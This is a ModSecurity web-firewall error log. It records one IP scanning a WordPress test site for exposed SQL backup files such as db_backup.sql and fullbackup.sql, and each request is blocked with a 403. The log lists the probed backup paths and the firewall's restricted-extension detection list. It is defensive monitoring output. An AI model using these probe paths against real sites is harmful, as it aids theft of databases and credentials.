[Thu Feb 26 01:03:31.111173 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db_backup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifQAAAAE&quot;]
[Thu Feb 26 01:03:31.115118 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/mysql.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrQAAAAA&quot;]
[Thu Feb 26 01:03:31.115591 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/mysql.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrQAAAAA&quot;]
[Thu Feb 26 01:03:31.115747 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/mysql.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrQAAAAA&quot;]
[Thu Feb 26 01:03:31.138621 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullbackup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifgAAAAE&quot;]
[Thu Feb 26 01:03:31.138758 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrgAAAAA&quot;]
[Thu Feb 26 01:03:31.139131 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullbackup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifgAAAAE&quot;]
[Thu Feb 26 01:03:31.139262 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrgAAAAA&quot;]
[Thu Feb 26 01:03:31.139309 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullbackup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifgAAAAE&quot;]
[Thu Feb 26 01:03:31.139425 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrgAAAAA&quot;]
[Thu Feb 26 01:03:31.164061 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullwebsite.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifwAAAAE&quot;]
[Thu Feb 26 01:03:31.164560 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullwebsite.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifwAAAAE&quot;]
[Thu Feb 26 01:03:31.164733 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullwebsite.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifwAAAAE&quot;]
[Thu Feb 26 01:03:31.166404 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/db.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrwAAAAA&quot;]
[Thu Feb 26 01:03:31.166930 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/db.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrwAAAAA&quot;]
[Thu Feb 26 01:03:31.167089 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/db.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrwAAAAA&quot;]
[Thu Feb 26 01:03:31.186539 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLigAAAAAE&quot;]
[Thu Feb 26 01:03:31.187010 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLigAAAAAE&quot;]
[Thu Feb 26 01:03:31.187170 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLigAAAAAE&quot;]
[Thu Feb 26 01:03:31.214239 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db_backup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizsAAAAAA&quot;]
[Thu Feb 26 01:03:31.214796 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db_backup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizsAAAAAA&quot;]
[Thu Feb 26 01:03:31.214969 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db_backup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizsAAAAAA&quot;]
[Thu Feb 26 01:03:31.225775 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLigQAAAAE&quot;]
[Thu Feb 26 01:03:31.226268 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLigQAAAAE&quot;]
[Thu Feb 26 01:03:31.226459 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLigQAAAAE&quot;]
[Thu Feb 26 01:03:31.264406 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiggAAAAE&quot;]
[Thu Feb 26 01:03:31.266901 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiggAAAAE&quot;]
[Thu Feb 26 01:03:31.267069 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiggAAAAE&quot;]
